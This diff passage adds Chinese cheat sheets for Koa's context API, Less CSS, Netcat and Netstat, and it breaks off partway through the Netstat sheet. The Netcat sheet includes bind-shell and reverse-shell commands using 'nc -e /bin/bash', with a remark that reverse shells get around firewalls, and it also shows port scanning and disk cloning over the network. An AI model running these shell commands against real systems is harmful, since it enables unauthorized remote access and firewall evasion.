+- `ctx.origin`
+- `ctx.href`
+- `ctx.path`
+- `ctx.path=`
+- `ctx.query`
+- `ctx.query=`
+- `ctx.querystring`
+- `ctx.querystring=`
+- `ctx.host`
+- `ctx.hostname`
+- `ctx.fresh`
+- `ctx.stale`
+- `ctx.socket`
+- `ctx.protocol`
+- `ctx.secure`
+- `ctx.ip`
+- `ctx.ips`
+- `ctx.subdomains`
+- `ctx.is()`
+- `ctx.accepts()`
+- `ctx.acceptsEncodings()`
+- `ctx.acceptsCharsets()`
+- `ctx.acceptsLanguages()`
+- `ctx.get()`
+
+### 响应(Response)别名
+
+以下访问器和别名与 [Response](#响应response) 等价：
+
+- `ctx.body`
+- `ctx.body=`
+- `ctx.status`
+- `ctx.status=`
+- `ctx.message`
+- `ctx.message=`
+- `ctx.length=`
+- `ctx.length`
+- `ctx.type=`
+- `ctx.type`
+- `ctx.headerSent`
+- `ctx.redirect()`
+- `ctx.attachment()`
+- `ctx.set()`
+- `ctx.append()`
+- `ctx.remove()`
+- `ctx.lastModified=`
+- `ctx.etag=`
+
+### request.fresh 示例
+
+```js
+// freshness 检查需要状态 20x 或 304
+ctx.status = 200;
+ctx.set('ETag', '123');
+
+// 缓存正常
+if (ctx.fresh) {
+  ctx.status = 304;
+  return;
+}
+
+// 缓存已过时
+// 获取新数据
+ctx.body = await db.find('something');
+```
+
+### ctx.is 示例
+
+```js
+// Content-Type: text/html; charset=utf-8
+ctx.is('html'); // => 'html'
+ctx.is('text/html'); // => 'text/html'
+ctx.is('text/*', 'text/html');
+// => 'text/html'
+// 当 Content-Type 为 application/json 时
+ctx.is('json', 'urlencoded'); // => 'json'
+ctx.is('application/json');
+// => 'application/json'
+ctx.is('html', 'application/*');
+// => 'application/json'
+
+ctx.is('html'); // => false
+```
+
+### ctx.accepts 示例
+
+```js
+// 接受: text/*, application/json
+ctx.accepts('html');
+// => "html"
+ctx.accepts('text/html');
+// => "text/html"
+ctx.accepts('json', 'text');
+// => "json"
+ctx.accepts('application/json');
+// => "application/json"
+```
+
+### request.acceptsCharsets 示例
+
+```js
+// Accept-Charset: utf-8, iso-8859-1;q=0.2, utf-7;q=0.5
+ctx.acceptsCharsets('utf-8', 'utf-7');
+// => "utf-8"
+
+ctx.acceptsCharsets(['utf-7', 'utf-8']);
+// => "utf-8"
+```
+
+检查 `charsets` 是否可以被接受，如果为 `true` 则返回最佳匹配， 否则返回 `false`
+
+### response.set 示例
+
+```js
+ctx.set({
+  'Etag': '1234',
+  'Last-Modified': date
+});
+```
+
+使用对象同时设置 response header 中多个字段的值
+
+### response.type 示例
+
+```js
+const ct = ctx.type;
+// => "image/png"
+```
+
+获取 response Content-Type，不包含像"charset"这样的参数

docs/lessjs.md

@@ -0,0 +1,719 @@
+Less 备忘清单
+===
+
+本备忘单旨在快速理解 [Less](https://github.com/less/less.js) 所涉及的主要概念，显示了它的常用方法使用清单。
+
+入门
+---
+
+### 介绍
+
+Less(Leaner Style Sheets 的缩写)是一门向后兼容的 [`CSS`](./css.md) 扩展语言
+
+- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
+- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
+
+在 Node.js 环境中使用 `Less`
+
+```bash
+$ npm install -g less
+$ lessc styles.less styles.css
+```
+
+在浏览器环境中使用 `Less`
+
+```html
+<link rel="stylesheet/less" type="text/css" href="styles.less" />
+<script src="https://cdn.jsdelivr.net/npm/less@4" ></script>
+```
+<!--rehype:className=wrap-text -->
+
+### 变量(Variables)
+
+```less
+@width: 10px;
+@height: @width + 10px;
+
+#header {
+  width: @width;
+  height: @height;
+}
+```
+
+编译 css 为：
+
+```css
+#header {
+  width: 10px;
+  height: 20px;
+}
+```
+
+另见: [变量的更多信息](https://lesscss.org/features/#variables-feature)
+
+### 混合(Mixins)
+
+```less {1,8,13}
+.bordered {
+  border-top: dotted 1px black;
+  border-bottom: solid 2px black;
+}
+
+#menu a {
+  color: #111;
+  .bordered();
+}
+
+.post a {
+  color: red;
+  .bordered();
+}
+```
+
+另见: [混合(Mixin)的更多信息](https://lesscss.org/features/#mixins-feature)
+
+
+### 嵌套(Nesting)
+
+```css
+#header {
+  color: black;
+}
+#header .navigation {
+  font-size: 12px;
+}
+#header .logo {
+  width: 300px;
+}
+```
+
+👇👇 更改为 less 的写法 ✅ 👇👇
+
+```less
+#header {
+  color: black;
+  .navigation {
+    font-size: 12px;
+  }
+  .logo {
+    width: 300px;
+  }
+}
+```
+
+### 父选择器 &
+
+```less
+.button {
+  color: blue;
+  &-ok {
+    background-image: url("ok.png");
+  }
+  &:hover {
+    color: green;
+  }
+}
+```
+
+编译 css 为：
+
+```css
+.button {
+  color: blue;
+}
+.button-ok {
+  background-image: url("ok.png");
+}
+.button:hover {
+  color: green;
+}
+```
+
+### @规则嵌套和冒泡
+<!--rehype:wrap-class=row-span-2-->
+
+```less
+.component {
+  width: 300px;
+  @media (min-width: 768px) {
+    width: 600px;
+    @media  (min-resolution: 192dpi) {
+      background-image: url(/img/icon2x.png);
+    }
+  }
+  @media (min-width: 1280px) {
+    width: 800px;
+  }
+}
+```
+
+编译 css 为：
+
+```css
+.component {
+  width: 300px;
+}
+@media (min-width: 768px) {
+  .component {
+    width: 600px;
+  }
+}
+@media (min-width: 768px) and (min-resolution: 192dpi) {
+  .component {
+    background-image: url(/img/icon2x.png);
+  }
+}
+@media (min-width: 1280px) {
+  .component {
+    width: 800px;
+  }
+}
+```
+<!--rehype:className=wrap-text -->
+
+### 运算(Operations)
+<!--rehype:wrap-class=row-span-2-->
+
+算术运算符 `+`、`-`、`*`、`/` 对任何数字、颜色或变量进行运算
+
+```less
+@conversion-1: 5cm + 10mm; // 结果是 6cm
+@conversion-2: 2 - 3cm - 5mm; // 结果 -1.5cm
+@incompatible-units: 2 + 5px - 3cm;
+// 结果是 4px
+@base: 5%;
+@filler: @base * 2; // 结果是 10%
+@other: @base + @filler; // 结果是 15%
+
+@base: 2cm * 3mm; // 结果是 6cm
+@color: (#224488 / 2); // 结果是 #112244
+background-color: #112244 + #111;
+// 结果是 #223355
+@color: #222 / 2;
+// 结果是 `#222 / 2`, not #111
+background-color: (#FFFFFF / 16);
+// 结果是 #101010
+```
+
+#### calc() 特例
+
+为了与 `CSS` 保持兼容，`calc()` 并不对数学表达式进行计算，但是在嵌套函数中会计算变量和数学公式的值
+
+```less
+@var: 50vh/2;
+width: calc(50% + (@var - 20px));
+// 结果是 calc(50% + (25vh - 20px))
+```
+
+### 转义(Escaping)
+<!--rehype:wrap-class=row-span-2-->
+
+```less
+@min768: ~"(min-width: 768px)";
+.element {
+  @media @min768 {
+    font-size: 1.2rem;
+  }
+}
+```
+
+编译 css 为：
+
+```css
+@media (min-width: 768px) {
+  .element {
+    font-size: 1.2rem;
+  }
+}
+```
+
+从 Less 3.5 开始，可以简写为
+
+```less
+@min768: (min-width: 768px);
+.element {
+  @media @min768 {
+    font-size: 1.2rem;
+  }
+}
+```
+
+在 Less 3.5+ 版本中，许多以前需要“引号转义”的情况就不再需要了
+
+### 函数(Functions)
+
+```less
+@base: #f04615;
+@width: 0.5;
+
+.class {
+  width: percentage(@width); // 返回 `50%`
+  color: saturate(@base, 5%);
+  background-color: 
+      spin(lighten(@base, 25%), 8);
+}
+```
+
+Less 内置了多种函数用于转换颜色、处理字符串、算术运算等
+
+### 命名空间和访问符
+
+```less
+#bundle() {
+  .button {
+    display: block;
+    border: 1px solid black;
+    background-color: grey;
+    &:hover {
+      background-color: white;
+    }
+  }
+  .tab { ... }
+  .citation { ... }
+}
+```
+
+把 `.button` 类混合到 `#header a` 中，我们可以这样做
+
+```less
+#header a {
+  color: orange;
+  #bundle.button();
+  // 还可以书写为 #bundle > .button 形式
+}
+```
+
+### 映射(Maps)
+
+```less
+#colors() {
+  primary: blue;
+  secondary: green;
+}
+
+.button {
+  color: #colors[primary];
+  border: 1px solid #colors[secondary];
+}
+```
+
+输出符合预期(css)：
+
+```css
+.button {
+  color: blue;
+  border: 1px solid green;
+}
+```
+
+另见：[映射(Maps)](https://lesscss.org/features/#maps-feature)
+
+### 作用域（Scope）
+
+```less
+@var: red;
+
+#page {
+  @var: white;
+  #header {
+    color: @var; // white
+  }
+}
+```
+
+和上面实例代码相同
+
+```less
+@var: red;
+
+#page {
+  #header {
+    color: @var; // white
+  }
+  @var: white;
+}
+```
+
+另见：[懒加载](https://lesscss.org/features/#variables-feature-lazy-loading)
+
+### 注释（Comments）
+
+```less
+/* 一个块注释
+ * style comment! */
+@var: red;
+
+// 这一行被注释掉了！
+@var: white;
+```
+
+块注释和行注释都可以使用
+
+### 导入（Importing）
+
+```less
+@import "library"; // library.less
+@import "typo.css";
+```
+
+另见：[导入(Importing)的知识](https://lesscss.org/features/#imports-feature)
+
+### Extend
+<!--rehype:wrap-class=row-span-2-->
+
+```less
+nav ul {
+  &:extend(.inline);
+  background: blue;
+}
+.inline {
+  color: red;
+}
+```
+
+编译 css 为：
+
+```css
+nav ul {
+  background: blue;
+}
+.inline,
+nav ul {
+  color: red;
+}
+```
+
+函数
+---
+
+### 逻辑函数 if & boolean
+
+```less
+@bg: black;
+@bg-light: boolean(luma(@bg) > 50%);
+
+div {
+  background: @bg; 
+  color: if(@bg-light, black, white);
+}
+```
+
+编译 css 为：
+
+```css
+div {
+  background: black;
+  color: white;
+}
+```
+
+### 字符串函数
+<!--rehype:wrap-class=col-span-2-->
+
+:- | :-
+:- | :-
+`escape` | 将 [URL 编码](http://en.wikipedia.org/wiki/Percent-encoding)应用于输入字符串中的特殊字符
+`e` | 字符串转义
+`%` | 第一个参数是带有占位符的字符串
+
+```less
+escape('a=1') // 输出 a%3D1
+
+@mscode: "ms:alwaysHasItsOwnSyntax.For.Stuff()" 
+filter: e(@mscode);
+// 输出 filter: ms:alwaysHasItsOwnSyntax.For.Stuff();
+
+format-a-d: %("repetitions: %a file: %d", 1 + 2, "directory/file.less");
+// 输出 format-a-d: "repetitions: 3 file: "directory/file.less"";
+```
+
+### 替换字符串 replace
+<!--rehype:wrap-class=col-span-2-->
+
+```less
+replace("Hello, Mars?", "Mars\?", "Earth!");
+replace("One + one = 4", "one", "2", "gi");
+replace('This is a string.', "(string)\.$", "new $1.");
+replace(~"bar-1", '1', '2');
+```
+
+预期输出
+
+```
+"Hello, Earth!";
+"2 + 2 = 4";
+'This is a new string.';
+bar-2;
+```
+
+### length
+
+```less
+@list: "banana", "tomato", "potato", "peach";
+n: length(@list);
+```
+
+预期输出
+
+```css
+n: 4;
+```
+
+返回值列表中的元素数
+
+### extract
+
+```less
+@list: apple, pear, coconut, orange;
+value: extract(@list, 3);
+```
+
+预期输出
+
+```css
+value: coconut;
+```
+
+返回列表中指定位置的值
+
+### range
+
+```less
+value: range(4);
+// 输出 value: 1 2 3 4;
+value: range(10px, 30px, 10);
+// 输出 value: 10px 20px 30px;
+```
+
+生成跨越一系列值的列表
+
+### each
+<!--rehype:wrap-class=row-span-3-->
+
+```less
+@selectors: blue, green, red;
+
+each(@selectors, {
+  .sel-@{value} {
+    a: b;
+  }
+});
+```
+
+预期输出
+
+```css
+.sel-blue {
+  a: b;
+}
+.sel-green {
+  a: b;
+}
+.sel-red {
+  a: b;
+}
+```
+
+每个列表成员的每个规则集都绑定到 `@value`、`@key` 和 `@index` 变量
+
+```less
+@set: {
+  one: blue;
+  two: green;
+  three: red;
+}
+.set {
+  each(@set, {
+    @{key}-@{index}: @value;
+  });
+}
+```
+
+预期输出
+
+```css
+.set {
+  one-1: blue;
+  two-2: green;
+  three-3: red;
+}
+```
+
+将规则集的评估绑定到列表的每个成员
+
+### each()
+
+```less
+set-2() {
+  one: blue;
+  two: green;
+  three: red;
+}
+.set-2 {
+  // 调用 mixin 并迭代每个规则
+  each(.set-2(), .(@v, @k, @i) {
+    @{k}-@{i}: @v;
+  });
+}
+```
+
+预期输出
+
+```css
+.set-2 {
+  one-1: blue;
+  two-2: green;
+  three-3: red;
+}
+```
+
+### 使用 `range` 和 `each` 创建一个 `for` 循环
+
+```less
+each(range(4), {
+  .col-@{value} {
+    height: (@value * 50px);
+  }
+});
+```
+
+预期输出
+
+```css
+.col-1 {
+  height: 50px;
+}
+.col-2 {
+  height: 100px;
+}
+.col-3 {
+  height: 150px;
+}
+.col-4 {
+  height: 200px;
+}
+```
+
+### 数学函数
+<!--rehype:wrap-class=row-span-3-->
+
+:- | :-
+:- | :-
+`ceil(2.4)` _(输出 3)_ | 向上舍入到下一个最大整数 [#](https://lesscss.org/functions/#math-functions-ceil)
+`floor(2.6)` _(输出 2)_ | 向下舍入到下一个最小整数 [#](https://lesscss.org/functions/#math-functions-floor)
+`percentage(0.5)` _(输出 50%)_ | 将浮点数转换为百分比字符串 [#](https://lesscss.org/functions/#math-functions-floor)
+`round(1.67)` _(输出 2)_ | 应用舍入 [#](https://lesscss.org/functions/#math-functions-round)
+`sqrt(25cm)` _(输出 5cm)_ | 计算数字的平方根。保持单位不变 [#](https://lesscss.org/functions/#math-functions-sqrt)
+`abs(25cm)` _(输出 25cm)_ | 计算数字的绝对值。 保持单位不变 [#](https://lesscss.org/functions/#math-functions-abs)
+`sin(1deg)` _(输出 0.01745240643728351)_ | 计算正弦函数 [#](https://lesscss.org/functions/#math-functions-sin)
+`asin(-0.8414709848078965)` _(输出 -1rad)_ | 计算反正弦（正弦的倒数）函数 [#](https://lesscss.org/functions/#math-functions-asin)
+`cos(1deg)` _(输出 0.9998476951563913)_ | 计算余弦函数 [#](https://lesscss.org/functions/#math-functions-cos)
+`acos(0.5403023058681398)` _(输出 1rad)_ | 计算反余弦（余弦的倒数）函数 [#](https://lesscss.org/functions/#math-functions-acos)
+`tan(1deg)` _(输出 0.017455064928217585)_ | 计算正切函数 [#](https://lesscss.org/functions/#math-functions-tan)
+`atan(-1.5574077246549023)` _(输出 -1rad)_ | 计算反正切（正切的倒数）函数 [#](https://lesscss.org/functions/#math-functions-atan)
+`pi()` _(输出 3.141592653589793)_ | π (pi) [#](https://lesscss.org/functions/#math-functions-pi)
+`pow(0cm, 0px)` _(输出 1cm)_ | 返回第一个参数的第二个参数次幂的值 [#](https://lesscss.org/functions/#math-functions-pow)
+`mod(11cm, 6px)` _(输出 5cm)_ | 返回第一个参数模数第二个参数的值 [#](https://lesscss.org/functions/#math-functions-mod)
+`min(5, 10)` _(输出 5)_ | 返回一个或多个值中的最小值 [#](https://lesscss.org/functions/#math-functions-min)
+`max(5, 10)` _(输出 10)_ | 返回一个或多个值中的最大值 [#](https://lesscss.org/functions/#math-functions-min)
+<!--rehype:className=style-list-arrow-->
+
+### 颜色定义函数
+
+:- | :-
+:- | :-
+`rgb`| [#](https://lesscss.org/functions/#color-definition-rgb)
+`rgba`| [#](https://lesscss.org/functions/#color-definition-rgba)
+`argb`| [#](https://lesscss.org/functions/#color-definition-argb)
+`hsl`| [#](https://lesscss.org/functions/#color-definition-hsl)
+`hsla`| [#](https://lesscss.org/functions/#color-definition-hsla)
+`hsv`| [#](https://lesscss.org/functions/#color-definition-hsv)
+`hsva`| [#](https://lesscss.org/functions/#color-definition-hsva)
+
+### 类型函数
+
+:- | :-
+:- | :-
+`isnumber`| 值是否为数字 [#](https://lesscss.org/functions/#type-functions-isnumber)
+`isstring`| 值是否为字符串 [#](https://lesscss.org/functions/#type-functions-isstring)
+`iscolor`| 值是否为颜色值 [#](https://lesscss.org/functions/#type-functions-iscolor)
+`iskeyword`| 值是否为 keyword [#](https://lesscss.org/functions/#type-functions-iskeyword)
+`isurl`| 值是否为 url 值 [#](https://lesscss.org/functions/#type-functions-isurl)
+`ispixel`| 值是否为像素值 [#](https://lesscss.org/functions/#type-functions-ispixel)
+`isem`| 值是否为 em 值 [#](https://lesscss.org/functions/#type-functions-isem)
+`ispercentage`| 值是否为 百分百 值 [#](https://lesscss.org/functions/#type-functions-ispercentage)
+`isunit`| 值是是否为指定单位的数字 [#](https://lesscss.org/functions/#type-functions-isunit)
+`isruleset`| 值是否为规则集 [#](https://lesscss.org/functions/#type-functions-isruleset)
+`isdefined`| 值是否为 defined [#](https://lesscss.org/functions/#type-functions-isdefined)
+
+### 杂项函数
+
+:- | :-
+:- | :-
+`color`| [#](https://lesscss.org/functions/#misc-functions-color)
+`image-size`| [#](https://lesscss.org/functions/#misc-functions-image-size)
+`image-width`| [#](https://lesscss.org/functions/#misc-functions-image-width)
+`image-height`| [#](https://lesscss.org/functions/#misc-functions-image-height)
+`convert`| [#](https://lesscss.org/functions/#misc-functions-convert)
+`data-uri`| [#](https://lesscss.org/functions/#misc-functions-data-uri)
+`default`| [#](https://lesscss.org/functions/#misc-functions-default)
+`unit`| [#](https://lesscss.org/functions/#misc-functions-unit)
+`get-unit`| [#](https://lesscss.org/functions/#misc-functions-get-unit)
+`svg-gradient`| [#](https://lesscss.org/functions/#misc-functions-svg-gradient)
+
+### 颜色通道函数
+
+:- | :-
+:- | :-
+`hue`| [#](https://lesscss.org/functions/#color-channel-hue)
+`saturation`| [#](https://lesscss.org/functions/#color-channel-saturation)
+`lightness`| [#](https://lesscss.org/functions/#color-channel-lightness)
+`hsvhue`| [#](https://lesscss.org/functions/#color-channel-hsvhue)
+`hsvsaturation`| [#](https://lesscss.org/functions/#color-channel-hsvsaturation)
+`hsvvalue`| [#](https://lesscss.org/functions/#color-channel-hsvvalue)
+`red`| [#](https://lesscss.org/functions/#color-channel-red)
+`green`| [#](https://lesscss.org/functions/#color-channel-green)
+`blue`| [#](https://lesscss.org/functions/#color-channel-blue)
+`alpha`| [#](https://lesscss.org/functions/#color-channel-alpha)
+`luma`| [#](https://lesscss.org/functions/#color-channel-luma)
+`luminance`| [#](https://lesscss.org/functions/#color-channel-luminance)
+
+### 色彩运算函数
+
+:- | :-
+:- | :-
+`saturate`| [#](https://lesscss.org/functions/#color-operations-saturate)
+`desaturate`| [#](https://lesscss.org/functions/#color-operations-desaturate)
+`lighten`| [#](https://lesscss.org/functions/#color-operations-lighten)
+`darken`| [#](https://lesscss.org/functions/#color-operations-darken)
+`fadein`| [#](https://lesscss.org/functions/#color-operations-fadein)
+`fadeout`| [#](https://lesscss.org/functions/#color-operations-fadeout)
+`fade`| [#](https://lesscss.org/functions/#color-operations-fade)
+`spin`| [#](https://lesscss.org/functions/#color-operations-spin)
+`mix`| [#](https://lesscss.org/functions/#color-operations-mix)
+`tint`| [#](https://lesscss.org/functions/#color-operations-tint)
+`shade`| [#](https://lesscss.org/functions/#color-operations-shade)
+`greyscale`| [#](https://lesscss.org/functions/#color-operations-greyscale)
+`contrast`| [#](https://lesscss.org/functions/#color-operations-contrast)
+
+### 颜色混合功能
+
+:- | :-
+:- | :-
+`multiply`| [#](https://lesscss.org/functions/#color-blending-multiply)
+`screen`| [#](https://lesscss.org/functions/#color-blending-screen)
+`overlay`| [#](https://lesscss.org/functions/#color-blending-overlay)
+`softlight`| [#](https://lesscss.org/functions/#color-blending-softlight)
+`hardlight`| [#](https://lesscss.org/functions/#color-blending-hardlight)
+`difference`| [#](https://lesscss.org/functions/#color-blending-difference)
+`exclusion`| [#](https://lesscss.org/functions/#color-blending-exclusion)
+`average`| [#](https://lesscss.org/functions/#color-blending-average)
+`negation`| [#](https://lesscss.org/functions/#color-blending-negation)
+
+另见
+---
+
+- [Less.js 官网](http://lesscss.org) _(lesscss.org)_
+- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
+- [Stylus 备忘清单](./stylus.md) _(jaywcjlove.github.io)_
+- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_

docs/netcat.md

@@ -0,0 +1,231 @@
+Netcat 备忘清单
+===
+
+该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
+
+入门
+------
+<!--rehype:body-class=cols-5-->
+
+### 用法
+<!--rehype:wrap-class=col-span-2-->
+
+连接到位于任何地方的主机
+
+```shell
+$ nc [options] [host] [port]
+```
+
+监听传入连接
+
+```shell 
+$ nc -lp port [host] [port]
+```
+
+### 选项示例
+<!--rehype:wrap-class=col-span-3 row-span-2-->
+
+
+选项 | 示例 | 说明 
+:- | :- | :-
+`-h`   | nc -h                      | 帮助
+`-z`   | nc -z 192.168.1.9 1-100    | 端口扫描主机或 `IP` 地址
+`-v`   | nc -zv 192.168.1.9 1-100   | 提供详细输出
+`-n`   | nc -zn 192.168.1.9 1-100   | 通过禁用 `DNS` 解析进行快速扫描
+`-l`   | nc -lp 8000                | `TCP` 侦听模式 _(用于入站连接)_
+`-w`   | nc -w 180 192.168.1.9 8000 | 定义超时值
+`-k`   | nc -kl 8000                | 断线后继续收听
+`-u`   | nc -u 192.168.1.9 8000     | 使用 `UDP` 而不是 `TCP`
+`-q`   | nc -q 1 192.168.1.9 8000   | 客户在 `EOF` 后熬夜
+`-4`   | nc -4 -l 8000              | 仅限 `IPv4`
+`-6`   | nc -6 -l 8000              | 仅限 `IPv6`
+
+
+### 聊天客户端-服务器
+<!--rehype:wrap-class=col-span-2-->
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000
+```
+
+Netcat 示例
+--------
+
+### Banner 抓取
+
+```shell
+$ nc website.com 80
+GET index.html HTTP/1.1
+HEAD / HTTP/1.1
+```
+
+或者
+
+```shell
+echo "" | nc -zv -wl 192.168.1.1 801-805
+```
+
+### 端口扫描
+
+扫描 `21` 到 `25` 之间的端口
+
+```shell
+$ nc -zvn 192.168.1.1 21-25
+```
+
+扫描端口 `22`、`3306` 和 `8080`
+
+```shell
+$ nc -zvn 192.168.1.1 22 3306 8080
+```
+
+### 代理和端口转发
+
+```shell
+$ nc -lp 8001 -c "nc 127.0.0.1 8000"
+```
+
+或者
+
+```shell
+$ nc -l 8001 | nc 127.0.0.1 8000
+```
+
+创建从一个本地端口到另一个本地端口的隧道
+
+### 下载文件
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000 < file.txt
+```
+
+客户端 Client
+
+```shell
+$ nc -nv 192.168.1.9 8000 > file.txt
+```
+
+假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
+
+### 上传文件
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000 > file.txt
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000 < file.txt
+```
+
+假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
+
+### 目录传输
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ tar -cvf – dir_name | nc -l 8000
+```
+
+客户端 Client
+
+```shell
+$ nc -n 192.168.1.9 8000 | tar -xvf -
+```
+
+假设您想通过网络将目录从 `A` 传输到 `B`
+
+### 加密传输
+<!--rehype:wrap-class=col-span-2-->
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
+```
+
+客户端 Client
+
+```shell
+$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
+```
+
+在通过网络传输之前加密数据
+
+### 克隆
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ dd if=/dev/sda | nc -l 8000
+```
+
+客户端 Client
+
+```shell
+$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
+```
+
+克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
+
+### 视频流
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ cat video.avi | nc -l 8000
+```
+
+客户端 Client
+
+```shell {.wrap}
+$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
+```
+
+使用 netcat 流式传输视频
+
+### 远程 shell
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000 -e /bin/bash
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000
+```
+
+我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`，但是如果它们没有安装并且我们没有安装它们的权限，那么我们也可以使用 `netcat` 创建远程 `shell`
+
+### 逆转 shell
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000 -v -e /bin/bash
+```
+
+反向 `shell` 通常用于绕过防火墙限制，例如阻止入站连接

docs/netstat.md

@@ -0,0 +1,209 @@
+Netstat 备忘清单
+===
+
+此快速参考备忘单提供了各种使用 netstat 命令的方法
+
+入门
+-----
+
+### 入门实例
+
+端口 80 上的所有连接
+
+```shell
+$ netstat -anp | grep :80
+```
+
+网络统计帮助
+
+```shell
+$ netstat -h
+```
+
+### 监听
+
+选项 | 说明
+:- | :-
+`netstat -ltunp` | 所有监听端口
+`netstat -ltn`   | 监听 TCP 端口
+`netstat -lun`   | 监听 UDP 端口
+`netstat -lx`    | 监听 Unix 端口
+`netstat -lt` | 仅列出侦听 TCP 端口
+`netstat -lu` | 仅列出侦听 UDP 端口
+`netstat -l` | 列出所有监听条件
+
+### 连接
+<!--rehype:wrap-class=row-span-2-->
+
+选项 | 说明
+:- | :-
+`netstat -a`  | 所有连接
+`netstat -at` | 所有 TCP 连接
+`netstat -au` | 所有 UDP 连接
+`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
+
+
+选项 | 说明
+:- | :-
+`netstat` | 活动连接
+`netstat -a` | 所有连接
+`netstat -at` | 所有 TCP 连接
+`netstat -au` | 所有 UDP 连接
+`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
+`netstat -tnl` | 监听 TCP 端口
+`netstat -unl` | 监听 UDP 端口
+
+
+### 网络
+
+选项 | 说明
+:- | :-
+`netstat -i`  | 显示网络接口
+`netstat -ie` | 显示网络接口扩展信息
+`netstat -n` | 仅显示 IP 地址
+`netstat -F` | 尽可能显示 IP 地址的域名
+
+### 路由
+
+
+选项 | 说明
+:- | :-
+`netstat -r`  | 显示路由表
+`netstat -rn` | 显示路由表，不解析主机
+
+### 统计数据
+<!--rehype:wrap-class=row-span-3-->
+
+选项 | 说明
+:- | :-
+`netstat -s`  | 显示统计信息
+`netstat -st` | 显示 TCP 统计信息
+`netstat -su` | 显示 UDP 统计信息
+`netstat -ltpe` | 使用进程信息和扩展信息显示 TCP 的侦听连接
+`netstat -tp` | 显示带有 PID 编号的服务名称
+`sudo netstat -nlpt` | 列出进程名称/PID 和用户 ID
+`netstat -nlptue` | 所有带有 PID 和扩展信息的侦听端口
+`netstat -M` | 显示伪装的连接
+
+### 显示没有域名的 TCP 连接
+
+```bash
+$ netstat --tcp --numeric
+```
+
+### 显示活动/已建立的连接
+
+```bash
+$ netstat -atnp | grep ESTA
+```
+
+### 获取活动连接的连续列表
+
+```bash
+$ watch -d -n0 "netstat -atnp | grep ESTA"
+```
+
+### 显示到特定端口的所有打开连接
+
+```bash
+$ netstat -anp | grep":"
+```
+
+插入`端口`号（上图）代替冒号 `:`
+
+### 检查服务是否正在运行
+
+```bash
+$ sudo netstat -aple | grep ntp
+```
+
+你可以用`http`、`smtp`代替`ntp`
+
+Netstat – 安全命令
+---
+
+### 显示具有大量连接的 IP
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+$ netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
+```
+<!--rehype:className=wrap-text -->
+
+### 连接到端口 80 的 IP 地址
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+$ netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
+```
+<!--rehype:className=wrap-text -->
+
+### 显示端口 80 上的活动连接数
+
+```bash
+$ netstat -an |grep :80 |wc -l
+```
+
+### 仅显示外部 IP 地址
+<!--rehype:wrap-class=col-span-2-->
+
+```bash
+$ netstat -antu | grep :80 | grep -v LISTEN | awk '{print $5}'
+```
+
+### 显示活动 SYNC_REC
